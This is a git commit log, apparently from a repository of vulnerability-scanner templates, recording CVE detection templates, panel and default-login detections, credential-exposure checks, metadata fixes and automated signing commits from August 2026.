ghost cf105ec1a3 chore: update EPSS scores 🤖 2026-08-27 03:38:12 +00:00
Roberto Nunes 3a5972a6fe Update mealie-detect.yaml 2026-08-27 12:27:10 +09:00
Roberto Nunes f270b4ae63 Delete http/technologies/homebox-detect.yaml 2026-08-27 12:22:45 +09:00
Roberto Nunes 0705edb71a Update mealie-detect.yaml 2026-08-27 11:58:28 +09:00
Roberto Nunes 215020485f Update vikunja-detect.yaml 2026-08-27 11:49:28 +09:00
Roberto Nunes 6aee4c0ec3 Add default login for Johnson Controls Frick Quantum HD
Added default login credentials for Johnson Controls Frick Quantum HD Compressors, including HTTP request details and attack payloads.
2026-08-27 11:40:51 +09:00
Roberto Nunes ace05f202d Update maven-settings-credentials-exposure.yaml 2026-08-27 10:13:43 +09:00
Roberto Nunes af1b37e387 Update maven-settings-credentials-exposure.yaml 2026-08-27 10:10:26 +09:00
Roberto Nunes 07909c6c5d Update exposure description and matchers in YAML 2026-08-27 09:41:47 +09:00
root 6b2329c915 feat(cve): add template for CVE-2020-29134 (TOTVS Fluig Directory Traversal) 2026-08-26 20:32:26 -04:00
Roberto Nunes 6741b40f9e Update pypirc-credentials-exposure.yaml 2026-08-27 09:19:27 +09:00
Roberto Nunes 16b3c4cbd3 Update pypirc-credentials-exposure.yaml 2026-08-27 09:11:47 +09:00
Roberto Nunes 2aafa352d7 Update pypirc-credentials-exposure.yaml 2026-08-27 08:59:29 +09:00
Chris (ChrisJr404) 6df7d286af Add exposed package manager credential file templates 2026-08-26 12:04:45 -04:00
Chris (ChrisJr404) 3ae650af42 Add detection templates for Vikunja, Mealie and Homebox 2026-08-26 11:19:43 -04:00
ghost a7899ee9d8 chore: generate templates checksum 🤖 2026-08-26 13:08:43 +00:00
ghost 4449cd2571 chore: generate new addition list 🤖 2026-08-26 13:06:30 +00:00
ghost 71f753c955 chore: sign templates 🤖 2026-08-26 13:05:52 +00:00
Dhiyaneshwaran a9a5dc6314 Merge pull request #16981 from ChrisJr404/add-komga-panel
Add Komga media server detection template
2026-08-26 17:05:30 +04:00
Dhiyaneshwaran ec27fc5e30 CVE-2026-32475 - Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler 2026-08-26 16:55:06 +04:00
ghost ed8fed8548 chore: generate templates checksum 🤖 2026-08-26 10:50:54 +00:00
ghost 5bb58d9a78 chore: generate new addition list 🤖 2026-08-26 10:50:04 +00:00
ghost 0d27a0e824 chore: generate new addition list 🤖 2026-08-26 10:49:55 +00:00
ghost e994cdb39c chore: sign templates 🤖 2026-08-26 10:49:26 +00:00
Dhiyaneshwaran 707856b736 Merge pull request #16985 from ChrisJr404/planka-panel-detect
Add Planka panel detection template
2026-08-26 14:49:05 +04:00
Dhiyaneshwaran f89c69c4ba Merge pull request #16996 from ChrisJr404/add-donetick-detection
Add DocuSeal detection template
2026-08-26 14:48:56 +04:00
ghost d26b50372e chore: generate new addition list 🤖 2026-08-26 10:48:46 +00:00
ghost 23231cd471 chore: generate CVEs metadata 🤖 2026-08-26 10:48:14 +00:00
ghost b8ecf96578 chore: sign templates 🤖 2026-08-26 10:48:09 +00:00
Dhiyaneshwaran 67af6ebee2 Merge pull request #16681 from ywh-jfellus/ywh-CVE-2026-65761
feat(CVE-2026-65761): add template for Joomla Easy Store extension Unauthenticated SQL Injection
2026-08-26 14:47:49 +04:00
Dhiyaneshwaran ec7c1cf599 Update komga-panel.yaml 2026-08-26 14:47:28 +04:00
ghost 8d8861d3e3 chore: generate templates checksum 🤖 2026-08-26 10:28:55 +00:00
ghost d1cefaf81c chore: sign templates 🤖 2026-08-26 10:26:09 +00:00
Roberto Nunes d0ae416581 Merge pull request #16971 from Dishant4081/fix-cve-2024-52433
fix(http/cves/2024): CVE-2024-52433 template cannot match a genuine my-geo-posts-free install
2026-08-26 19:25:46 +09:00
Akokonunes 12a2d53f52 Merge branch 'main' into fix-cve-2024-52433
Resolve conflict in http/cves/2024/CVE-2024-52433.yaml.

This branch rewrites the PHP object-injection payload and matcher; main had
meanwhile refreshed the template's EPSS scores and re-signed it, so the two
sides disagreed on the trailing "# digest:" line.

Resolution: keep this branch's payload and matcher fix, take main's newer
epss-score and epss-percentile, and restore the digest line. The digest is
regenerated by template-sign.yml on push to main.
2026-08-26 19:18:34 +09:00
Aman Rawat 448a87b7ad Update donetick-panel.yaml 2026-08-26 14:41:36 +05:30
Aman Rawat 17f5746de4 Update silverbullet-panel.yaml 2026-08-26 14:37:27 +05:30
Aman Rawat 6dbde3474e Update komga-panel.yaml 2026-08-26 14:31:30 +05:30
Aman Rawat 6550aa1c60 Update linkding-panel.yaml 2026-08-26 14:27:07 +05:30
Aman Rawat 6fe70ae52c Update CVE-2026-65761.yaml 2026-08-26 13:46:05 +05:30
ghost fd6bc3dc9d chore: generate templates checksum 🤖 2026-08-26 07:50:24 +00:00
ghost 45780b108a chore: generate new addition list 🤖 2026-08-26 07:48:19 +00:00
ghost f90d93655a chore: generate CVEs metadata 🤖 2026-08-26 07:47:50 +00:00
ghost 358830cb17 chore: sign templates 🤖 2026-08-26 07:47:38 +00:00
Aman Rawat 5bd9401e6f Merge pull request #17010 from projectdiscovery/js-template-conversion
Update and rename CVE-2026-55040.yaml to CVE-2026-55040.yaml
2026-08-26 13:17:18 +05:30
Dhiyaneshwaran 446ffda6fe Fix YAML syntax error in CVE-2026-42878 template
Move misplaced description text from under remediation (with wrong
indentation) to the empty description block where it belongs.
2026-08-26 11:40:32 +04:00
Dhiyaneshwaran 3375026763 Update and rename CVE-2026-55040.yaml to CVE-2026-55040.yaml 2026-08-26 11:32:34 +04:00
ghost fe16dff2d5 chore: generate templates checksum 🤖 2026-08-26 07:02:59 +00:00
ghost 543a937fa0 chore: generate new addition list 🤖 2026-08-26 07:00:42 +00:00
ghost 8d9be78923 chore: sign templates 🤖 2026-08-26 07:00:04 +00:00
Dhiyaneshwaran d40891cb22 Merge pull request #17003 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-77806.yaml - SPIP < 4.4.22 - Unauthenticated RCE
2026-08-26 10:59:45 +04:00
ghost 1cb5cfb49d chore: generate templates checksum 🤖 2026-08-26 06:55:34 +00:00
ghost fb944ef1a2 chore: generate new addition list 🤖 2026-08-26 06:53:24 +00:00
ghost 74a1ff9244 chore: sign templates 🤖 2026-08-26 06:52:48 +00:00
Dhiyaneshwaran a03fdb351f Merge pull request #16999 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-73570 for Zimbra RCE vulnerability
2026-08-26 10:52:25 +04:00
ghost 1172b8fefe chore: generate templates checksum 🤖 2026-08-26 06:22:33 +00:00
ghost 898dd68786 chore: generate new addition list 🤖 2026-08-26 06:20:11 +00:00
ghost e599618741 chore: sign templates 🤖 2026-08-26 06:19:39 +00:00
Aman Rawat 7e4c5d0afa Merge pull request #16786 from patrick-threatmate/cve-2026-18577
Add CVE-2026-18577 - N-able N-central < 2026.3.1.10 Authentication Bypass (KEV)
2026-08-26 11:49:17 +05:30
ghost cdcca8f0b9 chore: generate templates checksum 🤖 2026-08-26 05:27:14 +00:00
ghost 83b8de69e2 chore: generate new addition list 🤖 2026-08-26 05:25:31 +00:00
github-actions[bot] e485547b77 chore: add impact and remediation fields 🤖 2026-08-26 05:25:29 +00:00
ghost 9db03ebcab chore: generate new addition list 🤖 2026-08-26 05:24:53 +00:00
ghost 052459cea0 chore: sign templates 🤖 2026-08-26 05:24:51 +00:00
ghost 4530e95572 chore: generate new addition list 🤖 2026-08-26 05:24:40 +00:00
github-actions[bot] 2f17cf0f60 chore: add impact and remediation fields 🤖 2026-08-26 05:24:32 +00:00
Aman Rawat e461e354e3 Merge pull request #16975 from projectdiscovery/CVE-2026-55040
CVE-2026-55040 - Microsoft SharePoint Server - JWT Authentication Bypass
2026-08-26 10:54:31 +05:30
ghost 4bd59c752e chore: generate new addition list 🤖 2026-08-26 05:24:24 +00:00
ghost 2bd2b2f4e6 chore: sign templates 🤖 2026-08-26 05:24:15 +00:00
Aman Rawat ecf6cc239e Merge pull request #16978 from ChrisJr404/add-wallabag-panel
Add wallabag detection template
2026-08-26 10:53:54 +05:30
Aman Rawat 32cb3f9403 Merge pull request #16982 from ChrisJr404/add-cve-2025-53887
Add CVE-2025-53887 Directus version disclosure
2026-08-26 10:53:42 +05:30
Aman Rawat 0018b7bc0b Merge pull request #16988 from ChrisJr404/cve-2026-42878-facturascripts-phpinfo
Add CVE-2026-42878 - FacturaScripts unauthenticated phpinfo() disclosure
2026-08-26 10:53:28 +05:30
Aman Rawat d5844be8ab Merge pull request #16601 from zer0p0intvvv/add-cve-2026-7467-expand-maker
[CVE-2026-7467] Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
2026-08-26 10:53:18 +05:30
ghost 2d5f9b5852 chore: update KEV and vKEV tags and metadata 🤖 2026-08-26 03:23:33 +00:00
ghost 1205d1e6ba chore: generate templates checksum 🤖 2026-08-26 02:52:05 +00:00
ghost 11de0c5f56 chore: generate new addition list 🤖 2026-08-26 02:49:56 +00:00
ghost 255aa9936a chore: sign templates 🤖 2026-08-26 02:49:17 +00:00
Roberto Nunes a499bd81e3 Merge pull request #16984 from ChrisJr404/inventree-panel-detect
Add InvenTree Panel detection template
2026-08-26 11:48:57 +09:00
ghost 2708b5efc2 chore: update EPSS scores 🤖 2026-08-26 02:29:19 +00:00
Roberto Nunes ae5eb24275 Update CVE-2026-77806.yaml with new HTTP flow 2026-08-25 21:59:09 +09:00
Dhiyaneshwaran 1fcc383a40 Fix 5 files with incorrect diffs against upstream
- CVE-2021-41419, CVE-2024-20404, CVE-2024-2862, CVE-2025-1023:
  restore dropped vkev tag, remove extra blank line
- unauth-java-message-broker-detect: fix broken line split and
  trailing CR, use vuln instead of discovery

All 592 files now differ from upstream/main only by the appended
vuln or discovery tag.
2026-08-25 15:42:31 +04:00
Dhiyaneshwaran 07a3c90645 Fix tag on unauth-java-message-broker-detect
Unauthenticated service detection is a security finding, not
service discovery. Use vuln instead of discovery.
2026-08-25 15:37:03 +04:00
Dhiyaneshwaran 9d1edd10b4 Resolve merge conflicts with upstream main
Take upstream changes (updated EPSS scores, expanded metadata,
tag fixes, digests) and re-apply vuln/discovery tags on top.
2026-08-25 15:33:38 +04:00
Roberto Nunes 6b34a03b44 Create CVE-2026-77806.yaml 2026-08-25 20:30:01 +09:00
Dhiyaneshwaran c6a660fea8 Fix misclassified discovery tags on exposure/misconfig templates
Exposures and misconfigurations are vulnerabilities, not discovery.

- 6 files: replaced discovery with vuln (exposures/apis, exposures/configs,
  misconfiguration/administrate-dashboard)
- 5 files: removed duplicate discovery tag where vuln already present
  (xampp-phpinfo, unauth-akhq/hawkeye/phoenix/supervisor dashboards)

Kept discovery on javascript/udp/misconfiguration/mdns-enum.yaml
as mDNS enumeration is legitimately discovery.
2026-08-25 15:27:09 +04:00
Dhiyaneshwaran 6cbc4802d1 Resolve merge conflict with upstream signoz-panel
Keep the two-step flow (homepage + /api/v1/version) with version
extraction. Credit rxerium as co-author of the original template.
2026-08-25 15:16:38 +04:00
Dhiyaneshwaran 3f8331ea70 Require X-Dawarich-Version header in matcher
The kval extractor depends on this header for version extraction.
Using contains_any allowed matches on instances with only
X-Dawarich-Response, resulting in detection without version output.
2026-08-25 15:12:59 +04:00
Dhiyaneshwaran 2284c06269 Update signoz-panel.yaml 2026-08-25 15:12:23 +04:00
Dhiyaneshwaran 1324cb15db Fix extractor to return single version
Switch from regex to json extractor with JQ path '.version'
so only the top-level version field is extracted, avoiding
duplicate matches from other version-like keys in the response.
2026-08-25 15:08:45 +04:00
Dhiyaneshwaran fbac0325a3 Update inventree-panel.yaml 2026-08-25 15:06:49 +04:00
Dhiyaneshwaran 887dc0fbcd Use contains_any for header matching
Combine separate contains checks into contains_any for more
resilient detection when only one header is present.
2026-08-25 15:05:58 +04:00
Dhiyaneshwaran 259954db0b Update CVE-2026-0743.yaml 2026-08-25 15:04:30 +04:00
Roberto Nunes 2b5ba494ba minor fix, add compare version CVE-2026-73570.yaml 2026-08-25 19:17:56 +09:00
ghost d7114226be chore: generate templates checksum 🤖 2026-08-25 09:32:31 +00:00
ghost e83951aff1 chore: sign templates 🤖 2026-08-25 09:29:46 +00:00
Dhiyaneshwaran 4f03d9f685 Modify CVE-2026-18963.yaml for request limit and flow (#17002) 2026-08-25 14:59:26 +05:30
Ritik Chaddha d4d250ba98 Update CVE-2026-73570.yaml 2026-08-25 14:42:21 +05:30
ghost 1a1f57dc3a chore: generate templates checksum 🤖 2026-08-25 09:08:40 +00:00
ghost ca6868cbeb chore: generate CVEs metadata 🤖 2026-08-25 09:05:58 +00:00
ghost a7258b7eeb chore: sign templates 🤖 2026-08-25 09:05:56 +00:00
Dhiyaneshwaran 34814c0a7a Merge pull request #16969 from projectdiscovery/CVE-2026-76904
Update matched_feature extractor in CVE-2026-76904.yaml
2026-08-25 13:05:36 +04:00
Dishant4081 a13240704f Add CVE-2026-26216 for remote code execution in Crawl4AI
Crawl4AI versions prior to 0.8.0 are vulnerable to unauthenticated remote code execution via the hooks parameter in the Docker API deployment. The vulnerability allows attackers to execute arbitrary commands, leading to full server compromise.
2026-08-25 13:39:52 +05:30
ghost ed86b32d5b chore: generate templates checksum 🤖 2026-08-25 07:23:39 +00:00
ghost 119c71155e chore: generate new addition list 🤖 2026-08-25 07:22:04 +00:00
ghost c71379e764 chore: generate new addition list 🤖 2026-08-25 07:21:43 +00:00
ghost 37107d45bc chore: sign templates 🤖 2026-08-25 07:21:26 +00:00
Roberto Nunes 93772d765b Merge pull request #16922 from righettod/mguard_add
Add detection of "mGuard" appliances.
2026-08-25 16:21:05 +09:00
ghost 74bc9bc2c9 chore: generate new addition list 🤖 2026-08-25 07:20:59 +00:00
ghost b15e37957c chore: generate new addition list 🤖 2026-08-25 07:20:53 +00:00
Roberto Nunes 4b1c9f1c2a Merge pull request #16925 from icarot/main
Creating litellm-default-login.yaml
2026-08-25 16:20:46 +09:00
Roberto Nunes e778265a2e Merge pull request #16976 from projectdiscovery/DhiyaneshGeek-patch-2
Update author field in CVE-2026-61511.yaml
2026-08-25 16:20:41 +09:00
ghost f195f5bcde chore: generate CVEs metadata 🤖 2026-08-25 07:20:29 +00:00
ghost 950dec2345 chore: sign templates 🤖 2026-08-25 07:20:27 +00:00
Roberto Nunes 2424ac1469 Merge pull request #16651 from iamatownboy/pr/cve-2026-12898
Add CVE-2026-12898 All-in-One WP Migration template
2026-08-25 16:20:03 +09:00
Roberto Nunes f69a86b3a2 Merge pull request #16990 from ChrisJr404/add-homebox-detection
Add Homebox detection template
2026-08-25 16:19:57 +09:00
ghost 24282b221a chore: generate templates checksum 🤖 2026-08-25 06:38:23 +00:00
Dhiyaneshwaran a23308ccc4 Merge branch 'main' into DhiyaneshGeek-patch-2 2026-08-25 10:37:13 +04:00
ghost b3521c5ce8 chore: generate new addition list 🤖 2026-08-25 06:36:14 +00:00
ghost 8f0528a6c2 chore: generate CVEs metadata 🤖 2026-08-25 06:35:55 +00:00
ghost 5ee30b7485 chore: sign templates 🤖 2026-08-25 06:35:48 +00:00
Dhiyaneshwaran 4fda12e6ce Merge pull request #16567 from ArjunSecurin/add-securin-cve-templates
Add 9 CVE detection templates (Securin Labs)
2026-08-25 10:35:27 +04:00
Dhiyaneshwaran a51fade2aa Update CVE-2024-52433.yaml with new details 2026-08-25 10:28:45 +04:00
ghost 819ec063e4 chore: generate templates checksum 🤖 2026-08-25 06:27:40 +00:00
ghost d25432cb84 chore: generate new addition list 🤖 2026-08-25 06:26:46 +00:00
ghost b3cf31607c chore: generate CVEs metadata 🤖 2026-08-25 06:26:22 +00:00
ghost 3ae50b4382 chore: sign templates 🤖 2026-08-25 06:26:12 +00:00
Dhiyaneshwaran 027c5c0253 Merge pull request #16779 from str4k3r/str4k3r/cve-2026-23491
Add CVE-2026-23491: InvoicePlane <= 1.6.3 unauthenticated arbitrary file read
2026-08-25 10:25:53 +04:00
ghost b97ca675b5 chore: generate new addition list 🤖 2026-08-25 06:25:45 +00:00
ghost 1fc026a930 chore: generate CVEs metadata 🤖 2026-08-25 06:25:13 +00:00
ghost a69f4aecfd chore: sign templates 🤖 2026-08-25 06:25:08 +00:00
Dhiyaneshwaran d6b8640a8b Merge pull request #16790 from str4k3r/str4k3r/cve-2026-23536
Add CVE-2026-23536 (Feast Feature Server <=0.58.0 - Unauthenticated Arbitrary File Read)
2026-08-25 10:24:46 +04:00
ghost 4f67ebdfdc chore: generate new addition list 🤖 2026-08-25 06:23:45 +00:00
ghost 940ca7cfa2 chore: sign templates 🤖 2026-08-25 06:23:08 +00:00
Dhiyaneshwaran 0866728de8 Merge pull request #16977 from ChrisJr404/add-karakeep-panel
Add Karakeep detection template
2026-08-25 10:22:46 +04:00
Dhiyaneshwaran d86281740f Update karakeep-panel.yaml 2026-08-25 10:06:27 +04:00
ghost 182ab56a37 chore: generate templates checksum 🤖 2026-08-25 06:06:05 +00:00
ghost b372bfb86a chore: sign templates 🤖 2026-08-25 06:04:34 +00:00
ghost 42302c47a3 chore: generate new addition list 🤖 2026-08-25 06:04:18 +00:00
Dhiyaneshwaran 5fc069fd30 Merge pull request #16986 from ChrisJr404/wallos-panel-detection
Add Wallos panel detection template
2026-08-25 10:04:11 +04:00
ghost f951439fe9 chore: sign templates 🤖 2026-08-25 06:03:40 +00:00
Dhiyaneshwaran 6bfb2baa3d Merge pull request #16992 from ChrisJr404/add-detection
Add Documenso detection template
2026-08-25 10:03:18 +04:00
ghost 23658035d3 chore: update KEV and vKEV tags and metadata 🤖 2026-08-25 03:20:00 +00:00
ghost 8347839e7f chore: update EPSS scores 🤖 2026-08-25 02:24:57 +00:00
Roberto Nunes ab6d493117 Add CVE-2026-73570 for Zimbra RCE vulnerability 2026-08-25 10:49:26 +09:00
Roberto Nunes 14d8ecd52a Update docmost-panel.yaml 2026-08-25 09:34:49 +09:00
Roberto Nunes 5fc74f01a4 Update CVE-2026-42878.yaml 2026-08-25 09:27:19 +09:00
Roberto Nunes 6a35ddc2b0 Refine CVE-2026-42878 details and verification status
Updated the CVE-2026-42878 entry to improve clarity and accuracy of the description, impact, and remediation sections. Changed metadata verification status to true.
2026-08-25 09:26:57 +09:00
Roberto Nunes ec041233a7 Refactor Documenso panel configuration
Updated the description for clarity and modified max-request from 2 to 1. Removed redundant matchers and consolidated HTTP request matchers.
2026-08-25 09:21:06 +09:00
Ritik Chaddha 9a6bb2b344 Update and rename mguard-security-appliance-login.yaml to mguard-security-appliance-panel.yaml 2026-08-25 04:48:12 +05:30
Ritik Chaddha 8129552233 Update litellm-default-login.yaml 2026-08-25 04:46:41 +05:30
Ritik Chaddha bbb2761055 Update wallabag-panel.yaml 2026-08-25 04:41:38 +05:30
Ritik Chaddha 393991b38f Update wallos-panel.yaml 2026-08-25 04:36:01 +05:30
Ritik Chaddha 974787f3ca Update homebox-detect.yaml 2026-08-25 04:30:38 +05:30
Ritik Chaddha 2737b5af83 Update CVE-2026-23536.yaml 2026-08-25 04:14:06 +05:30
ghost 0d52c00779 chore: generate templates checksum 🤖 2026-08-24 22:41:56 +00:00
ghost 389b4faf19 chore: generate CVEs metadata 🤖 2026-08-24 22:39:15 +00:00
Dhiyaneshwaran 4a7e590dff Merge pull request #16994 from projectdiscovery/DhiyaneshGeek-patch-3
Rename CVE-2025-14047.yaml to CVE-2025-14047.yaml
2026-08-25 02:38:48 +04:00
Chris (ChrisJr404) 984af51b36 Add Donetick panel detection template 2026-08-24 18:38:08 -04:00
Chris (ChrisJr404) 16952e7ad3 Add CVE-2025-68273 Signal K Server info disclosure detection 2026-08-24 18:27:55 -04:00
ghost d91a5a254b chore: generate templates checksum 🤖 2026-08-24 22:24:37 +00:00
ghost 9697476ec7 chore: generate new addition list 🤖 2026-08-24 22:22:50 +00:00
Ritik Chaddha 087638652c Update CVE-2026-18577.yaml 2026-08-25 03:52:24 +05:30
ghost 9bff7cde48 chore: sign templates 🤖 2026-08-24 22:21:52 +00:00
Roberto Nunes 277ed07821 Merge pull request #16995 from projectdiscovery/CVE-2026-18963
CVE-2026-18963 - Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
2026-08-25 07:21:31 +09:00
Ritik Chaddha e7e7e34c40 Update CVE-2026-23491.yaml 2026-08-25 03:49:26 +05:30
Chris (ChrisJr404) 2628a30e8a Add DocuSeal detection template 2026-08-24 18:08:24 -04:00
Dhiyaneshwaran 0eb1fbb1a3 CVE-2026-18963 - Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass 2026-08-25 01:57:32 +04:00
Dhiyaneshwaran fb522ec626 Rename CVE-2025-14047.yaml to CVE-2025-14047.yaml 2026-08-25 01:52:08 +04:00
Chris (ChrisJr404) 51ae093e70 Add Dawarich detection template
Detects Dawarich via the unauthenticated /api/v1/health endpoint, which
returns X-Dawarich-Response and X-Dawarich-Version headers and a status
payload. Version is extracted from the X-Dawarich-Version header.
2026-08-24 17:47:05 -04:00
Ritik Chaddha ecbe9126d1 Update CVE-2026-7467.yaml 2026-08-25 03:16:42 +05:30
Ritik Chaddha 42a965b7c1 Delete http/cves/2018/CVE-2018-15708.yaml 2026-08-25 03:11:00 +05:30
Ritik Chaddha ff4fc8ffb7 POC is not precise(causing FPs) 2026-08-25 03:09:03 +05:30
Ritik Chaddha 6a99115d7f POC is not precise 2026-08-25 03:07:37 +05:30
Ritik Chaddha 3ae975fa09 added additional req 2026-08-25 03:01:14 +05:30
Chris (ChrisJr404) 5aadd09e3a Add Documenso detection template 2026-08-24 17:17:56 -04:00
Ritik Chaddha e60de808e2 Delete network/cves/2018/CVE-2018-10933.yaml (not KEV) 2026-08-25 02:36:59 +05:30
Ritik Chaddha 46c59dd6d3 Delete http/cves/2019/CVE-2019-8942.yaml 2026-08-25 02:35:50 +05:30
Ritik Chaddha 430d09664a Update CVE-2019-11043.yaml 2026-08-25 02:34:46 +05:30
Ritik Chaddha 40872320bf Update CVE-2017-7504.yaml 2026-08-25 02:31:09 +05:30
Chris (ChrisJr404) e02ca3a41b Add RomM detection template 2026-08-24 16:41:27 -04:00
Chris (ChrisJr404) 892be68590 Add Homebox detection template 2026-08-24 16:10:45 -04:00
ghost bad0941d15 chore: generate templates checksum 🤖 2026-08-24 19:58:13 +00:00
Ritik Chaddha dafc1db229 Delete network/cves/2020/CVE-2020-2555.yaml 2026-08-25 01:27:54 +05:30
ghost c6ddb729ba chore: generate new addition list 🤖 2026-08-24 19:55:45 +00:00
ghost 986edaee3c chore: generate CVEs metadata 🤖 2026-08-24 19:55:29 +00:00
ghost dda45fbfa2 chore: sign templates 🤖 2026-08-24 19:55:15 +00:00
Chris (ChrisJr404) f0e04c2142 Add SigNoz Panel detection template 2026-08-24 15:55:13 -04:00
Ritik Chaddha 540060ff42 Merge pull request #16968 from projectdiscovery/Akokonunes-patch-10
Create CVE-2025-15403.yaml - RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via rm_user_exists
2026-08-25 01:24:56 +05:30
Ritik Chaddha 6b24508445 Merge pull request #16937 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-11801.yaml - WPAdverts <= 2.3.2 - Unauthenticated Information Disclosure
2026-08-25 01:24:48 +05:30
Ritik Chaddha 374811373d Merge branch 'main' into Akokonunes-patch-7 2026-08-25 01:22:48 +05:30
ghost 975cf7004e chore: generate templates checksum 🤖 2026-08-24 19:52:04 +00:00
ghost 20a45da641 chore: sign templates 🤖 2026-08-24 19:49:33 +00:00
Ritik Chaddha 1162233650 Merge pull request #16940 from daffainfo/patch-771809
Refine login placeholders in empirec2-default-login.yaml
2026-08-25 01:19:13 +05:30
Ritik Chaddha d2bbb6b2ef Update CVE-2025-15403.yaml 2026-08-25 01:18:52 +05:30
ghost bfa541e0f5 chore: generate new addition list 🤖 2026-08-24 19:47:52 +00:00
Ritik Chaddha a75e3cf897 Update CVE-2026-11801.yaml 2026-08-25 01:17:47 +05:30
ghost 5288bebf6e chore: generate CVEs metadata 🤖 2026-08-24 19:47:29 +00:00
ghost da8e4571ac chore: sign templates 🤖 2026-08-24 19:47:19 +00:00
Ritik Chaddha d124c95753 Merge pull request #16931 from Popy21/template/cve-2024-1708
CVE-2024-1708
2026-08-25 01:16:56 +05:30
Chris (ChrisJr404) 9ee77c2ca1 Add CVE-2026-42878 - FacturaScripts unauthenticated phpinfo() disclosure 2026-08-24 15:46:45 -04:00
Ritik Chaddha d0deb14f32 Update CVE-2026-12898.yaml 2026-08-25 01:07:10 +05:30
Chris (ChrisJr404) affd7234da Add SilverBullet detection template 2026-08-24 15:32:40 -04:00
Chris (ChrisJr404) 7e86135f12 Add Wallos panel detection template 2026-08-24 15:24:33 -04:00
Chris (ChrisJr404) 95cb50ed2b Add Planka panel detection template 2026-08-24 15:01:28 -04:00
Chris (ChrisJr404) 29a698efcd Add InvenTree Panel detection template 2026-08-24 14:54:06 -04:00
Chris (ChrisJr404) 4d91d143af Add Docmost detection template 2026-08-24 14:45:21 -04:00
Chris (ChrisJr404) abb0914290 Add CVE-2025-53887 Directus version disclosure 2026-08-24 14:38:13 -04:00
Chris (ChrisJr404) f3c139c043 Add Komga media server detection template 2026-08-24 14:21:18 -04:00
Chris (ChrisJr404) 6af1bc2316 Add linkding detection template 2026-08-24 14:04:57 -04:00
Chris (ChrisJr404) aca1719334 Add wallabag detection template 2026-08-24 13:56:18 -04:00
Chris (ChrisJr404) 9d0d02d874 Add Karakeep detection template 2026-08-24 13:45:43 -04:00
Dhiyaneshwaran ff704e5e39 Update author field in CVE-2026-61511.yaml 2026-08-24 20:18:42 +04:00
Dhiyaneshwaran 58347153a2 CVE-2026-55040 - Microsoft SharePoint Server - JWT Authentication Bypass 2026-08-24 19:52:05 +04:00
ghost 8a15915ac6 chore: generate new addition list 🤖 2026-08-24 15:02:18 +00:00
ghost 4d60c57056 chore: generate CVEs metadata 🤖 2026-08-24 15:01:42 +00:00
Dhiyaneshwaran 48ba4a31cf Merge pull request #16970 from projectdiscovery/CVE-2025-14998
CVE-2025-14998 - Branda WordPress Plugin ≤3.4.24: Unauthenticated Account Takeover via Password Reset Bypass
2026-08-24 19:01:16 +04:00
ghost 0aa256a344 chore: generate templates stats 🤖 2026-08-24 13:03:32 +00:00
r3dg33k 9bc9f83dce Add files via upload 2026-08-24 15:16:07 +03:00
ghost e5f19e6144 chore: generate templates checksum 🤖 2026-08-24 12:13:48 +00:00
ghost fedfa2adff chore: generate new addition list 🤖 2026-08-24 12:12:32 +00:00
ghost 55c3c0d0b6 chore: generate new addition list 🤖 2026-08-24 12:12:15 +00:00
ghost 5c9d6a6f44 chore: generate CVEs metadata 🤖 2026-08-24 12:11:56 +00:00
ghost b59033e579 chore: sign templates 🤖 2026-08-24 12:11:51 +00:00
Roberto Nunes b9532fdb4b Merge pull request #16892 from str4k3r/str4k3r/cve-2026-0717
Add CVE-2026-0717 template
2026-08-24 21:11:28 +09:00
Roberto Nunes d8014c60ed Merge pull request #16894 from str4k3r/str4k3r/cve-2026-8236
Add CVE-2026-8236 template
2026-08-24 21:11:19 +09:00
ghost 051fb6b222 chore: generate new addition list 🤖 2026-08-24 12:11:17 +00:00
ghost 98b3ecedff chore: generate CVEs metadata 🤖 2026-08-24 12:10:52 +00:00
ghost 7730f2e0a4 chore: sign templates 🤖 2026-08-24 12:10:47 +00:00
ghost 183436e49c chore: generate new addition list 🤖 2026-08-24 12:10:41 +00:00
Roberto Nunes 552bf1a1e9 Merge pull request #16950 from gnuletik/fix/cve-2026-0558-dsl-quote
CVE-2026-0558: fix unclosed string literal in dsl matcher
2026-08-24 21:10:24 +09:00
Roberto Nunes 427d483f93 Merge pull request #16972 from projectdiscovery/CVE-2026-19598
CVE-2026-19598 - Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router
2026-08-24 21:10:19 +09:00
ghost 5f61a28d38 chore: generate CVEs metadata 🤖 2026-08-24 12:10:10 +00:00
Roberto Nunes ab856a87f8 Merge pull request #16966 from Haseeb-1698/cve-2026-54917-seaweedfs
Add CVE-2026-54917 SeaweedFS path traversal
2026-08-24 21:09:48 +09:00
ghost ef8c4410f4 chore: generate new addition list 🤖 2026-08-24 12:09:07 +00:00
ghost 834aad8026 chore: generate CVEs metadata 🤖 2026-08-24 12:08:32 +00:00
ghost 5e0551aee8 chore: sign templates 🤖 2026-08-24 12:08:26 +00:00
Roberto Nunes 1c7a641188 Merge pull request #16847 from str4k3r/cve-2026-11387-ecosystem-20260812-v2
Add CVE-2026-11387 SMS Alert WordPress password-reset bypass
2026-08-24 21:08:02 +09:00
Dhiyaneshwaran 0933054dda CVE-2026-19598 - Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router 2026-08-24 15:30:52 +04:00
Aman Rawat 9d9543b925 Create CVE-2025-14998.yaml 2026-08-24 15:32:38 +05:30
Dhiyaneshwaran 0e790216bb Update matched_feature extractor in CVE-2026-76904.yaml 2026-08-24 13:57:02 +04:00
Dhiyaneshwaran b29e733721 Update CVE-2026-0717.yaml 2026-08-24 13:33:45 +04:00
Dhiyaneshwaran 02b1082a55 Update CVE-2026-11387.yaml 2026-08-24 13:15:34 +04:00
ghost 3970a63892 chore: generate templates checksum 🤖 2026-08-24 08:57:09 +00:00
ghost 05dd4d7101 chore: generate new addition list 🤖 2026-08-24 08:54:45 +00:00
ghost dc33f9a74d chore: generate CVEs metadata 🤖 2026-08-24 08:54:10 +00:00
ghost e8248762d6 chore: sign templates 🤖 2026-08-24 08:54:07 +00:00
Aman Rawat 23d1e20e61 Merge pull request #16955 from projectdiscovery/CVE-2026-40217
Create CVE-2026-40217.yaml
2026-08-24 14:23:43 +05:30
